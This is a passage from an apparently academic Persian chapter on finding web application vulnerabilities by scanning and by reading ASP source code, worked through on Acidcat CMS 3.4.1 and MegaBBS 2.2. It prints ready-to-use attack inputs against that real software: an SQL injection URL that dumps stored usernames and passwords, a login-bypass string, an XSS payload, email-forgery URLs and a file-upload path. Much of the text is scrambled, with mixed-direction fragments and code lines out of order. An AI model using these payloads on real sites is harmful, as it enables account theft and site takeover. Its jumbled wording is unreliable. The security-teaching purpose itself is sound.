ج.‏در اين بخش با توجه به نوع و نسخه تكنولوژي استفاده شده در سرويس دهنده وب و همچنين برنامههاي كاربردي تحت وب به كار رفته در سايت اصلي،‏ نفوذگران بهدنبال آسيب پذيري هاي از قبلمنتشر شده مي گردند تا در صورت به روز نبودن آنها،‏ بتوانند از آن آسيب پذيري ها استفاده كنند.‏.2.1.3.3دستكاري پارامترهاي ورودي صفحات:‏در اين قسمت نفوذگران به صورت دستي و خودكار پارامترهاي ورودي صفحات را تغيير داده و دنبالآسيب پذيري هاي معمول برنامه هاي كاربردي تحت وب،‏ مانند آنهايي كه در فصل پيشين گفته شد،‏مي گردند.‏در اين حالت امكان دارد خطاهاي برگشتي حاوي اطلاعات مهمي بوده كه نفوذگر را برايپيدا كردن آسيب پذيري ها كمك كند.‏.3.1.3.3تكميل پيدا كردن فايلهاي حاوي اطلاعات حساس:‏در حين انجام مراحل جستجوي آسيب پذيري امكان دارد فايل ها يا پوشه هاي جديدي پيدا شوند،‏ لذادر اين مرحله بايد دوباره با حدس زدن اقدام به پيدا كردن فايل ها و پوشه هاي بيشتر با توجه بهاطلاعات به دست آمده كرد و سپس به دنبال آسيب پذيري آنها نيز بگرديم.‏4.1.3.3 ستجوي متن هاي حساس:‏در اين قسمت برنامه هاي خودكار جستجوي آسيب پذيري،‏ در تمام محتواي صفحاتي كه در هر مرحلهجمع آوري كرده اند و حتي خطاهاي ايجاد شده به دنبال متن هاي حساس نظير مسير كامل شاخه هايا فايلها،‏ كدهاي منبع پيدا شده،‏ آدرس فايلهاي پايگاه هاي داده،‏ آدرسهاي ايميل و هر چيز ديگري ميگردند كه اطلاعاتي محرمانه يا حساس از وب سايت را در بر داشته باشد.‏معمولا حالت دستي اينمرحله بسيار كمتر صورت گرفته و در حين انجام عمليات ديگر توسط نفوذگر انجام مي گردد.‏64

.2.3.3يافتن آسيب پذيري ها با داشتن كدهاي منبع ‏(حالت جعبه سفيد):‏هر برنامه ي كاربردي تحت وب از هزاران خط كد تشكيل شده و در اغلب اوقات زماني كه براي خواندناين كدها وجود دارد محدود و شايد در حد چند روز است.‏ آمارها نشان مي دهد بطور متوسط15 تا 592ايراد در هر 10001خط كد وجود داردو پيدا كردن هر كدام از اين ايرادات بينتاساعت زمان2مي برد . بنابراين هدف كليدي خواندن موثر كدها،‏ يافتن هرچه بيشتر آسيب پذيري ها با يك زمان وتلاش مشخص است.‏ براي رسيدن به اين منظور پيروي از يك ساختار مشخص و استفاده از تكنيك هاالزامي به نظر مي رسد.‏يك ساختار پيشنهادي موثر امتحان شده كه منجر به پيدا شدن آسيب پذيريها به آساني و با سرعت بالا مي باشد به صورت زير است:‏- 1 دنبال كردن داده هايي كه مي توانند توسط كاربر وارد گردند در طول برنامه،‏ و پيدا كردن نحوهپردازش و به كارگيري آنها.‏- 2 جستجوي نمونه كدهايي كه مي توانند نشانه وجود آسيب پذيري باشند.‏- 3 خواندن خط به خط كدهاي خطرناك ذاتي براي فهميدن منطق برنامه و پيدا كردن مشكلاتي كهممكن است در آن وجود داشته باشد.‏اجزا و توابعي كه براي اين خواندن دقيق انتخاب مي شوند ميتوانند شامل مكانيزم هاي امنيتي كليد در برنامه ‏(مانند قسمت اعتبارسنجي،‏ قسمت مديريت نشست ها، كنترل هاي دسترسي،‏3و ساير كنترل كننده هاي ورودي)،‏ واسطه ها به اجزاي خارجي،‏ و هر چيزيكه در آن از زبان هاي اصلي مانند Cيا ++Cاستفاده شده است،‏ باشند.‏1 Us Dept. of Defense and the software Engineering Institute2 5 year pentagon study3 Interfaces65

فلوچارتي كه در شكل زير آمده،‏ يك روش امتحان شده پيدا كردن آسيب پذيري ها در برنامه هايكاربردي تحت وب به زبان ASP است كه آسيب پذيري هاي پيدا شده با اين روش توسط نويسنده اينپروژه در سايت هاي مختلف امنيتي نظيركه به بيش ازSecurityFocus.com و Bugreport.ir50مورد مي رسد.‏ثبت شده استشكل661-3فلوچارت پيدا كردن آسيب پذيري ها در زبان ASP

حال به نظر مي رسد اگر موارد مختلف به وجود آمدن آسيب پذيري را بشناسيم مي توانيم وجود آنها رادر برنامه هاي مختلف تشخيص دهيم.‏ در مورد آسيب پذيري هاي مهم و چگونگي به وجود آمدن آنهادر فصل گذشته به تفصيل صحبت شد.‏تنها نكته اي كه از آن مي توان به عنوان يك ترفند براي پيدا كردن بهتر آسيب پذيري ها استفاده كرد1كه در فصل قبل به آن اشاره نشده،‏ استفاده از نظرات برنامه نويس در طول برنامه است.‏ اين كار علاوهبر اينكه ديد مناسبي به ما كه آشنايي با كار يك تابع يا برنامه خاص را نداريم مي دهد،‏ باعث مي شودتا گاهي اوقات پيغام هايي راببينيم كه مي توان با استفاده از آن پيبه آسيب پذيري در يك صفحهوب ببريم.‏به عنوان نمونه اين پيغام ها مي توانند شامل پيام هايي باشند كه برنامه نويس براي كاربعدي خود نوشته است و فراموش كرده تا آن كار را انجام دهد و نظر خود را نيز حذف نكرده است.‏ مثلانوشته است:‏ ‏"اگر از پريدن از روي خطاها استفاده نكنيم،‏ ورودي غير عددي باعث ايجاد خطا در پايگاهداده مي گردد.‏حتما ورودي هابايد بعدا كنترل شوند"‏كه اين خود نشان مي دهد كه اين صفحه ميتواند نسبت به SQL Injection آسيب پذير باشد.‏پيش نيازي كه براي يافتن آسيب پذيري هاي امنيتي در يك زبان خاص مثل ASPيا ،JSPبا خواندنكدهاي منبع آن لازم است،‏ توانايي فرد در فهميدن كدهاي آن زبان و داشتن دانش در مورد چگونگيASP-عملكرد توابع آن زبان مي باشد.‏براي مثال كسي كه مي خواهد آسيب پذيري هاي زبانرا پيدا كند،‏ بايد بداند كه در اين زبان تمامي ورودي ها باRequest آغاز مي شوند وVBScriptكسي كه مي خواهد صفحات به زبانJavaو براي ديدن ورودي ها بايد به دنبال آنها باشد.‏را بخواند،‏ بايد بداند تمامي ورودي ها باgetآغاز مي شوند1 Comments67

در زير دو مثال كامل از تحليل دو برنامه كاربردي تحت وب به زبانآورده شده است.‏نام اولينASPبرنامه Acidcat1بوده كه يك سيستم مديريت محتواست و كدهاي آن ساده است.‏ برنامه دوم به نامASP بوده كه يك برنامه تالار گفتگو است كه كدهاي آن نسبت به ساير برنامه هاي MegaBBSسخت تر است و وقت زيادتري مي گيرد.‏ آسيب پذيري هاي اين دو برنامه بعد از نوشته شدن در سايت2هاي معتبر امنيتي به ثبت رسيدند ..1.2.3.3پيدا كردن ضعف هاي امنيتي برنامهمراحل كاري عبارتند از:‏الف-‏ دانلود سورس كد ASP و نصب آن:Acidcat‏(روي .(IISVendor: http://www.acidcat.com/Version: 3.4.1File Name: updates_3_4_1_f.zipCurrent Address: http://www.acidcat.com/acidcat/downloads/updates_3_4_1_f.zipتنظيم ب-‏Dreamweaverبراي راحتي كار با فايل ها.‏ج-‏ مراحل نصب كامل و مجوز دادن به فايل ها يا پوشه ها طبق راهنماي برنامه:‏براي مثال در اينجا اجراي Install.aspدر اينجا از ما نوعپايگاه دادهرا ميخواهد كه من نوع متداول تر و سخت براي حمله يعنيAccessرا انتخاب مي كنم.‏حال بايد به پايگاه داده مجوز خواندن و نوشته شدن بدهيم.‏حالا بايد فايل connection را تنظيم كنيم.‏حالا پوشه مربوط بهUploadرا مجوز دهي مي كنيم.‏1 Content Management System/Service (CMS)2 Http://www.bugreport.ir68

حالا از ما مي خواهد تمام فايل هايي كه باInstall شروع مي شوند را پاك كنيم كه ما آنها رانگه مي داريم تا شايد بعدا از آنها استفاده كرديم.‏حال به كنسول مديريت مي رويم و تنظيمات معمول يك سايت را انجام مي دهيم.‏پسوردمدير را نيز به يك چيز معلوم ديگر تغيير مي دهيم.‏د-‏ آغاز حمله در اين مرحله صورت مي گيرد كه مي تواند به صورت خودكار يا دستي دقيق باشد.‏د-‏‎1‎‏-‏ مرحله ماشيني با ابزاري به نام Acunetix نسخهتنظيم برنامه به شكل زير است:‏:42-3 شكلگام اول تنظيم برنامه خودكار69

3-3 شكلگام دوم تنظيم برنامه خودكار4-3 شكلگام سوم تنظيم برنامه خودكار70

5-3 شكلگام چهارم تنظيم برنامه خودكارد-‏‎1-1‎‏-‏ نتايج با برنامه Acunetix نسخهزمان اجرا:‏ حدود:4دقيقه 15آسيب پذيري هاي شناسايي شده:‏فايل main_login.aspفايل هاي default.aspاطلاعات را بدون رمز نگاري ارسال مي كند.‏و main_login2.asp داراي SQL Injectionبراي به كار گيري اين خطرات حال بايد خود وارد عمل شويم.‏هستند.‏71

د-‏‎2‎‏-‏ مرحله دستي:‏ASPابتدا به دنبال تمام Requestها مي گرديم چرا كه ورودي صفحاتتنها از طريق آنها صورتمي پذيرد:‏6-3 شكلتصوير برنامهDreamweaverSQLحال تمامRequestها رادنبالمي كنيم و اگر جزو پارامتري از صفحه يا درخواست هايSQL InjectionXSSباشند،‏آنها را به منظور حملاتويادداشت و رهگيري مي كنيم و اگربگوييم آسيب پذيري مشاهده نشد منظور فقط همين دو نوع آسيب پذيريست چرا كه ما ديگر آسيبپذيري ها را فعلا بررسي نمي كنيم.‏توجه داشته باشيد كه مرحله انتهايي فلوچارت را هرچه كامل ترانجام دهيم ما را به آسيب پذيري هاي بيشتري رهنمون مي سازد.‏ در اينجا شما خواهيد ديد كه اگرچهاين مرحله به صورت كامل انجام نمي پذيرد اما بازهم ما آسيب پذيري هاي متعددي پيدا خواهيم كرد.‏البته در انتها از چند روش متمم براي جبران اين كم كاري كمك خواهيم گرفت.‏روال را طبق خروجي72Dreamweaverمي نويسم:‏

:Default.asp -داريم:‏ 34 در خطtitleTag = Request.QueryString("itemTitle")حال كافيست به دنبال titleTagدر متن كدها بگرديم كه خواهيم ديد در سايت نمايش پيدا مي كندXSS‏(پس اگر حمله اي باشد از نوع XSSاست)‏اما قبل از آن كاراكترهاي خطرناك كه باعثميشود از آن حذف شده اند!‏بايد توجه داشت كه چون خطوط زير بعد از گرفتن ورودي باعث اجراي دو فايل ديگر شده اند،‏ بايد درآن فايل ها نيز به دنبال پارامتر titleTag بگرديم تا چيزي از قلم نيفتد:‏واقعيت اين است كه در اين فايل ها نيز هر فايلي كه include شده باشد بايد در جستجوي اين پارامترشركت داشته باشد.‏پس با نگاهي به سورس اين دو صفحه،‏ صفحاتجديد بيشتري ميابيمtitleTagكه بايد جستجو شوند.‏در كل اگر بنا به فلوچارت كاري خود عمل كنيم قادر خواهيم بود تا تماميصفحات را به درستي براي حملات XSSو SQL Injectionارزيابي كنيم.‏:default_content.asp -داريم:‏ 7 در خطدر كدهاي اين صفحه مي بينيم كهخطformType = Request.QueryString("formType")formTypeو 9نقش مهمي ايفا نمي كند.‏:12itemNum = Request.QueryString("itemID")Item__MMColParam = Request.QueryString("itemID")73

مي بينيم كه عددي بودن itemNumمنجر به گزينه بعدي مي شود و استفاده ديگري از آن نشدهپس اين نيز مناسب نيست چرا كه حتما بايد عددي باشد.‏17: خطItem__MMColParam = Request.Form("cID")در كدها مي بينيم كه پارامتر Item__MMColParam در ساختن درخواست هايبه كار SQLSQL Injectionمي رود.‏پس با توجه به بالا زمينه يكفراهم شده است.‏حال كافيست ببينيم چه17 وقت خطاجرا مي شود.‏ براي اين كار بايد شرط ها را درست كنيم تا اين خط اجرا شود.‏به شرطي زير توجه مي كنيم:‏searchمي بينيم كه اگر formTypeبرابرنباشد و itemIDخالي باشد و cIDخالي نباشد،‏ خط17اجرا خواهد شد.‏ پس براي شروع اين فايل بايد به شكل زير اجرا شود:‏كه پارامتر cID به صورت متدdefault_content.asp?formType=&itemID=Postبراي آن ارسال مي شود.‏حال اين فايل را به همين شكل اجرا مي كنيم و مي بينيم كه خطاي زير را نمايش مي دهد:‏74

با توجه به اينكه اين خطا قبل از خط ساخته شدن درخواست SQL داده شده و ديگر اينكه هيچ فايلدر اين فايل به مسيرپايگاه دادهوجود ندارد نتيجه مي گيريم كه اين فايل خود در درونIncludeيك فايل ديگر بايدinclude شود.‏لذا مي خواهيم آن فايل را پيدا كنيم تا اين آسيب پذيري را امتحانكنيم.(‏ گفتنيست در اين فايل هيچ ورودي ديگري وجود ندارد كه بخواهيم بعد از اين مورد تحقيق قراردهيم)‏ حال از default_content.asp به عنوان پارامتر جستجو در همه فايل ها استفاده مي كنيم:‏Includedefault_content.aspفايل default_main.aspرا مي بينيم كه فقط آن فايلراكرده است.‏لذا در مرورگر URL زير را مرور مي كنيم:‏default_main.asp?formType=&itemID=مي بينيم:‏با توجه به اين خطا و كدهاي فايل default_menu_javascript.aspبه اين نتيجه مي رسيم كهconnectionخود فايل default_main.aspنيز بايد در يك فايل ديگر كهحاويپايگاه داده بهباشدinclude شده باشد.‏ لذا دوباره در همه فايلها به دنبالdefault_main.aspمي گرديم:‏تنها فايل default.asp را پيدا مي كنيم كه فايل مورد نظر ما را شامل باشد.‏لذا در مرورگر URL زير را مرور مي كنيم:‏default.asp?formType=&itemID=75

مي بينيم كه بدون خطا اجرا شد.‏حال ميتوانيم با توجه به خطوط زير دو كار انجام دهيم:‏يكي اينكه براي آزمايش آسيب پذير بودن و پيدا كردن كد مخرب،‏ Request.Form(“cID”)را بهRequest(“cID”)تبديل كنيم و بعد URL زير را مرور كنيم:‏default.asp?formType=&itemID=&cID=[SQL Injection]بايد توجه داشت كه براي نوشتن Exploitكلي بايد اين تغيير را به ياد داشته باشيم و با متدPostكار خود را انجام دهيم.‏ همچنين اگر در جاي ديگري از متن از Request.Form(“cID”)استفادهشده باشد،‏ بايد آن را نيز تغيير دهيم!‏روش ديگر اين است كه از ابتدا با متدمن از روش اول استفاده كرده ام يعني:‏Postكار كنيم و تغييري در سورس ايجاد نكنيم.‏حال با اجرايdefault.asp?formType=&itemID=&cID=[SQL Injection]مي بينيم:‏76

default_content.aspپس نفوذپذير است!‏ 31به خطنگاه مي كنيم و مي بينيم كهconnectionآنجا باز مي شود!‏ خط زير سازنده ايناست:‏ QueryItemCheck.Source = "SELECT * FROM ac_item WHERE ID = " &Item__MMColParam & ""حال كافيست بنويسيم:‏default.asp?formType=&itemID=&cID=-1 union select1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_userمي بينيم كه نام كاربري و رمز عبور ‏(رمز شده باو سپس RC4URLEncodeشده)‏ را نشان ميدهد.‏اين خط با دانش نوشتن درخواست هاي SQLو با توجه بهپايگاه دادهسايت به دست مي آيدكه موضوع صحبت فعلي ما نيست.‏تا اينجا اولين آسيب پذيري SQL Injectionرا پيدا كرديم و براي نوشتنExploitكافيست ازExploithtmlمتد Postاستفاده كنيم.‏فايل زير را به شكلذخيره مي كنيم و اين همان فايلمطلوب ماست:‏77

:default_lang.asp -4: خطmyStr = request.servervariables("url")اين خط URL را مي پذيرد كه نمي توان به آن چيزي اضافه يا از آن كم كرد.‏ چرا كه اگر به آن چيزياضافه كنيم صفحه اي كه مي خواهيم ديگر باز نمي شود!‏بايد توجه داشته باشيم كه اگر چيزهايينظير:‏request.servervariables("HTTP_REFERER")ياو مانند آنها داشته باشيم،‏ مي توانيم مقادير آنها را به سادگي تغيير دهيم.‏request.servervariables("HTTP_USER_AGENT"):default_mail.asp -21: خطtypeStr = Request("FormType")اين خط فقط جهت انتخاب نوع است و آسيب پذيري خاصي ندارد.‏:default_mail_aspemail.asp -14: و 13 و 12 خطوطMail.From = Request("From")Mail.FromName = Request("FromName")Mail.AddAddress Request("To")در اينجا اين پارامترها جهت ايميل زدن استفاده شده و جنبه ديگري ندارند!‏ شايد فكر كنيم هيچ آسيبSQL InjectionXSSپذيري وجود ندارد.‏در واقع هيچ آسيب پذيريواي وجود ندارد اما آسيب78

پذيري ديگر چه؟ چون كد اين صفحه كوتاه است با اولين نگاه كلي متوجه خواهيد شد كه هر كسي بهصورت از راه دور مي تواند به كمك اين صفحه و با سرويس دهنده ايميل اختصاصي سايت براي ديگرانايميل بفرستد!‏ پس اين به عنوان دومين آسيب پذيري ثبت مي شود چرا كه مي توان با آن اقدام بهارسال ايميل هايجعلي به صورت ناشناس و با هويتسرويس دهندهنمود!‏همان طور كه ديديد مايك آسيب پذيري ديگر پيدا كرديم كه خارج از حوزه كاري فعلي ما بود اما پيدا كردن آن بسيار سهل وساده بود.‏Exploitبه صورت زير است:‏default_mail_aspemail.asp?AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to123456!:default_mail_cdosys.asp -30: و 29 و 28 خطوطObjSendMail.To = Request("To")ObjSendMail.Subject = Request("Subject")ObjSendMail.From = Request("From")در اينجا نيز اين پارامترها جهت ايميل زدن استفاده شده و جنبه ديگري ندارند!‏ و درست مثل صفحهآسيب پذير قبل است كه البته از يك Objectديگر كه متداول تر است براي زدن ايميل استفاده ميكند:‏default_mail_cdosys.asp?AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456!از آنجاييكهشكل اين آسيب پذيري دقيقا مانند قبلي است و معمولا اين صفحات همزمان به كار نميروند به عنوان آسيب پذيري جديدي محسوب نمي شود.‏79

:default_mail_jmail.asp -12: تا 8 خطوطmsg.From = Request("From")msg.FromName = Request("FromName")msg.AddRecipient Request("To")msg.Subject = Request("Subject")msg.Body = Mail.Body = Request("Body")در اينجا نيز اين پارامترها جهت ايميل زدن استفاده شده و جنبه ديگري ندارند!‏ و درست مثل صفحاتآسيب پذير قبل است كه البته از يك Objectمي كند:‏ديگر كه كمتر متداول است براي زدن ايميل استفادهdefault_mail_jmail.asp?AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456!چون شكل اين آسيب پذيري دقيقا مانند قبلي است و معمولا اين صفحات همزمان به كار نمي روند بهعنوان آسيب پذيري جديدي محسوب نمي شود.‏80:main_login2.asp -34: خطMM_LoginAction = Request.ServerVariables("URL")همانطور كه قبلا گفته شد اين خط آسيب پذيري ندارد.‏35: خطMM_LoginAction = MM_LoginAction + "?" + Request.QueryStringكه در جايي استفاده نشده است.‏64: خط

Response.Redirect(Request.QueryString("accessdenied"))اينجا قاعدتا يك آسيب پذيريوجود دارد چرا كه با تعيين پارامترaccessdeniedمي توان حملهMM_valUsernameانجام داد.‏براي رسيدن به اين خط و اجراي آن بايد پارامترخاليXSSنبوده،‏ ضمن اينكه مقدار انتخاب شده از پايگاه داده نيز تهي نباشد.‏ حالمقدار دهي مي شود؟ دو حالت داريم:‏MM_valUsernameكجاMM_valUsernameIncludeخود main_login2.aspدر يك فايل ديگرشده كه پارامترازآنجا قابل تنظيم است.‏include،main_login2.aspو حالت ديگر اينكهكه در فايلهاييشده اند را ببينيم و تنظيمپارامترMM_valUsernameرا دنبال كنيم.‏بعد از بررسي حالت اول مي بينيم هيچ فايليكهmain_login2.aspInclude راActionبوده و يكي از فايلهاينكرده و تنها يك فرمآن به طرف اين فايل تنظيم شده وجود دارد!‏ از اينجا پر واضح است كه حالت دوم صحيحincludeشده مقداراين متغير در سراسر فايلهاي زير مجموعهMM_valUsernamemain_login2.aspمي گرديم.‏را تعيين مي كند.‏ پس به دنبالمشاهده مي كنيم كه در فايل admin/admin_encrypt.asp خطوط زير وجود دارند:‏81

در اينجا مي بينيم كه متغير MM_valUsernameچگونه مقدار دهي مي شود.‏حال مشكل بعديدرست كردن درخواست SQL خطاست:‏ 44MM_rsUser.Source = "SELECT ID, Type, Username, Password FROM ac_user WHEREUsername='" & MM_valUsername &"' AND Password='" & MM_valUsername3 & "'"همينجا متوجه مي شويم كه حملهداشته باشد.‏ چرا كه مقدارSQL InjectionMM_valUsernameبه عنوان آسيب پذيري ديگر مي تواند وجودبدون هيچ كنترل قبلي در رشته درخواست SQLقرار مي گيرد.‏در واقع با خواندن كدها متوجه مي شويم كه برنامه نويس مي خواسته شخصي پس ازاينكه با نام كاربري و رمز عبور درست وارد شد،‏ اگر پارامتر accessdeniedتنظيم شده باشد،‏ بهصفحه اي كه اين پارامتر بهآن اشاره مي كند به صورت خودكار وارد شود.‏پس چون وقتي آسيبXSSپذيري XSSاتفاق مي افتد كه ورود درست انجام شده باشد،‏ آسيب پذيرياز درجه اهميتخيلي كمي برخوردار است اما هنوز هم كمي قابل اهميت است.‏براي اثبات اين گفته همين كافيستكه مهاجم با طراحي يك فرم و قرار دادن آن در جايي كه يك نفر روي آن كليك مي كند مي تواندپسورد را عوض كند و سايت را به هم بريزد،‏ بدون اينكه خود شخصي كه فرم را ساخته اينكار رامستقيما انجام دهد.‏Exploitپس Exploitآسيب پذيري سوم و چهارمبه شرح زير خواهد بود:‏ ‏(اينبا توجه به سعي وخطا و الگوريتم رمزنگاريRC4نام كاربري و رمز عبور Login كرد.‏به دست آمده است)‏ با اينExploitExploitآسيب پذيري 3:(XSS)مي توان در سايت بدون داشتن

2C%B6s%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE' from ac_userwhere Username='1'or'1'='1'or'1'='1" size="200"/>:(SQL Injection)Exploit آسيب پذيري 4:main_login_code.asp -خط 341:logoutVar = CStr(Request("referrer"))تنها در يك شرط استفاده دارد.‏حال مي بينيم كه نوبت به پوشهرسيده است.‏Admin پس بايد دقت كنيم كه علاوه بر جستجويحملات ابتدا ببينيم توسط مهاجم قابل دسترسي باشند.‏ ‏(يعني بهكردننياز نداشتهباشند.)‏Loginadmin/admin_login_check.asp83اين كار راانجام مي دهد كه در

includeو admin/ admin_scripts_1252.aspنيزشدهadmin/admin_scripts.aspاست.‏ پس هر فايلي اينها را نيزIncludeنياز به login دارند خودداري مي كنيم.‏كرده باشد نياز بهLoginدارد.‏ پس از نوشتن صفحاتي كه:admin_colors_swatch.asp -3: خطvar formField = String(Request.QueryString("field"));كه چون formField در متن كد به كار رفته است مي تواند زمينه ساز XSS باشد.‏پس كافيست به عنوان آسيب پذيري پنجم بنويسيم:‏admin/admin_colors_swatch.asp?field=value='';}alert('XSS');function(){myForm.myText:admin_lang.asp -5: خطmyStr = request.servervariables("url")كه آسيب پذير نيست.‏:admin_lang_login.asp -5: خطmyStr = request.servervariables("url")84

كه آسيب پذير نيست.‏:admin_users_edit_form2.asp -5: خطmyParam = Request.Form("ID")مي بينيم كه اين فايل به تنهايي به پايگاه داده متصل نيست.‏:admin_users_view.asp -37: خطFor Each Item In Request.QueryStringمي بينيم كه اين فايل به تنهايي به پايگاه داده متصل نيست.‏fckeditorاز پوشه fckeditorصرف نظر مي كنيم و قبل از اينكه به مرحله بعد برويم وجودرا كهبدون هيچ تغييري در كدهاي اصلي آن و تواناييپذيري ششم اعلام مي كنيم كهuploadExploitآن به شرح زير است:‏فايل در سايت وجود دارد به عنوان آسيب/admin/fckeditor/editor/filemanager/connectors/test.htmlحال سراغ روش هاي متمم كه در ابتدا گفته شد مي رويم.‏اين روش هاغالباابتكاري بوده و از يكبرنامه تا برنامه ديگر متفاوت هستند و تنها به اين دليل استفاده مي شوند كه اگر چيزي در مراحلقبلي جا افتاده است آشكار شود.‏همانطور كه از كدهاي اين برنامه تا به حال برآمده است برايدرخواست از پايگاه داده عبارت .Sourceهمواره ديده مي شود پس به دنبال اين عبارت در تمام85

برنامهدر برنامه مي گرديم.‏ مي خواهيم ببينيم جايي هست كه بتوانيم درخواست SQLرا به دلخواهخود تغيير دهيم يا نه.‏ براي اين كار به دنبال پارامتر تغيير پذير در رشته SQL مي گرديم:‏7-3 شكلتصوير برنامهDreamweaver:default_content.asp -اين فايل قبلا به عنوان فايل آسيب پذير مشخص شده است.‏:default_menu_functions.asp -خطmyCatID = "SELECT * FROM ac_item WHERE Category_ID = " & catID & " ORDERBY VerticalPosition DESC, Title DESC":3686

حال بايد به دنبال catIDبگرديمو ببينيم مي توان آن را تغيير داد يا خير.‏پس بايد ببينيم تابعprintItemFچه زماني صدا زده مي شود.‏ اين كار بسيار زمانبر بوده و نيازمند خواندن و دنبال كردنبيشتر كدهاي برنامه است.‏با توجه به اينكه ما تا به حال توانسته ايم شش آسيب پذيري را شناساييكنيم و حتي به كمك يكي از آنها توانسته ايم مديريت برنامه را بدون داشتن مجوز بدست بگيريم و بهكمك يكي ديگر توانستيم فايل هايمان را uploadكنيم،‏ پس كار را همينجا متوقف مي كنيم چرا كهصرف زمان بيشتر روي اين برنامه در حال حاضر ديگر صرفه اقتصادي ندارد و از نظر آموزشي نيز بيشترشبيه آموزش زبان ASPخواهد شد.‏اگر قرار بود اين برنامه را به صورت كامل بررسي كنيم،‏ ميبايستي علاوه بر اتمام همين مرحله،‏ فلوچارت كاري كه در بالاتر گفته شده بود را نيز مو به مو انجامدهيم و علاوه بر اينها فلوچارت خود برنامه را كشيده و آسيب پذيري هاي منطقي را نيز شناسايي كنيم.‏د-‏‎1-2‎‏-‏ نتيجه گيري قسمت دستي:‏ما در اينجا به طور دستي و همچنان به صورت خودكار در يك برنامه مديريت محتوا كه به زبان ASPXSSبود به دنبال آسيب پذيري هاي معمول نوع وب يعني SQL Injectionوگشتيم.‏در اين راهدو آسيب پذيري توسط برنامه خودكار در زمان حدود 15دقيقه شناسايي شد و اين در حالي بود كهشش آسيب پذيري به صورت دستي،‏ طي دو ساعت و نيم پيدا شد.‏ از بين آسيب پذيري هاي پيدا شدهدو تا از اهميت بالاتري نسبت به بقيه برخوردارند.‏ چرا كه به وسيله يكي مي توان مديريت سامانه را بهدست گرفت و به وسيله ديگري مي توان فايل هاي خطرناك راuploadنمود و اين در حالي است كهما در حالت دستي فلوچارت هاي كاري خود را كامل اجرا نكرده ايم.‏ از اينجا مي توان نتيجه گرفت كهبرنامه از امنيت مطلوبي برخوردار نبوده و امكان كشف آسيب پذيري هاي جديد و متنوع نيز همچنانوجود دارد.‏87

.1.2.3.3پيدا كردن ضعف هاي امنيتي برنامه :MegaBBSالف-‏ دانلود سورس كد ASP و نصب آن‏(روي (IISVendor: http://www.pd9soft.com/Version: 2.2File Name: megabbs2.2.zip, megabbs2.2-access.zipCurrent Address:http://www.pd9soft.com/megabbs-support/megabbs2.2.ziphttp://www.pd9soft.com/megabbs-support/megabbs2.2-access.ziphttp://www.pd9soft.com/megabbs-support/megabbs2.2-mssql.ziphttp://www.pd9soft.com/megabbs-support/megabbs2.2-mysql.zipتنظيم ب-‏Dreamweaverبراي راحتي كار با فايل هاج-‏ مراحل نصب كامل و مجوز دادن به فايل ها يا پوشه ها طبق كمك برنامه انجام مي شود.‏د-‏ آغاز حمله در اين مرحله صورت مي گيرد كه مي تواند به صورت ماشيني يا دستي دقيق باشد.‏د-‏‎1‎‏-‏ مرحله ماشيني با ابزاري به نام Acunetix نسخهتنظيم برنامه به شكل زير است:‏:588

8-3 شكلگام اول تنظيم برنامه خودكارشكل899-3گام دوم تنظيم برنامه خودكار

10-3 شكلگام سوم تنظيم برنامه خودكارشكل9011-3گام چهارم تنظيم برنامه خودكار

12-3 شكلگام پنجم تنظيم برنامه خودكارد-‏‎1-1‎‏-‏ نتايج با برنامه :Acunetix2 ساعت زمان:‏آسيب پذيري هاي شناسايي شده:‏آسيب پذيري SQL Injection در /profile/controlpanel.aspپتانسيل آسيب پذيري Upload فايل در/profile/controlpanel.asp و /forums/attach-file.aspبراي به كار گيري اين خطرات بايد خود وارد عمل شويم.‏در بعضي اوقات اصلا اينها آسيب پذيرينيستند.‏ كه در طول مرحله زير مشخص مي شود.‏91

- 2- 4مرحله دستي:‏مانند برنامه قبلي،‏ ما ابتدا به دنبال تمام Requestهايي مي گرديم كه خارج از فرض شرط ها باشند‏(و در متغيري ريخته شوند يا در جايي مانند درخواست SQLبه كار گرفته شوند)،‏ چرا كه وروديصفحات ASPتنهااز طريق آنها صورت مي پذيرد.‏حال تمامRequestها را دنبال مي كنيم و اگرSQLXSSجزو پارامتري از صفحه يا درخواست هاي SQLباشند،‏ آنها را به منظور حملاتوInjectionيادداشت و رهگيري مي كنيم و اگر بگوييم آسيب پذيري مشاهده نشد منظور فقط هميندو نوع آسيب پذيريست چرا كه ما ساير آسيب پذيري ها را فعلا بررسي نمي كنيم.‏ توجه داشته باشيدكه مرحله انتهايي فلوچارت را هرچه كامل تر انجام دهيم ما را به آسيب پذيري هاي بيشتري رهنمونمي سازد.‏ در آسيب پذيري XSS بايد بگوييم كه ما همه آنها را نمي توانيم با اين روش پيدا كنيم چراXSSكهگاهي اوقات رشته ثبت شده ما در پايگاه داده،‏ در يك صفحه ديگر خطر حملهرا ايجاد ميكند!‏توجه كنيد كه كدهاي اين برنامه به صورت كاملا اختصاصي زده شده اند و جزو برنامه هايي خاصنوشته شده با ASPمي باشد.‏استفاده زياد از توابع و كلاس ها در جاي جاي اين برنامه به چشم ميخورد كه متعاقبا كار ما را بسيار سخت كرده و حتي اگر يك برنامه خودكار رديابي خطا نيز وجود ميداشت،‏ آن را نيز مطمئنا به چالش مي كشيد.‏يكي از موارد جالب و آموزشي كه در اين برنامه وجوددارد اين است كه كدهاي اين برنامه را به راحتي مي توان تبديل به فايل هاي DLL نمود كه كدهايآن قابل خواندن نباشد،‏ چرا كه در هيچ كجا كدهاي HTML جدا مشاهده نمي كنيم.‏نكته اي كه در مورد برنامه هاي تحت وب وجود دارد،‏ صرف نظر كردن از فايلهاييست كه براي اجرا نيازبه مجوز مديريت دارند،‏ چرا كه مدير هيچگاه نياز به نفوذ به سايت خود ندارد.‏ لذا در اينجا بيشتر فايلهاي شاخهAdmin را بررسي نمي كنيم و فقط آنهايي را بررسي مي كنيم كه بدون نياز به مجوز92مديريت قابل بازگشايي مي باشند.‏

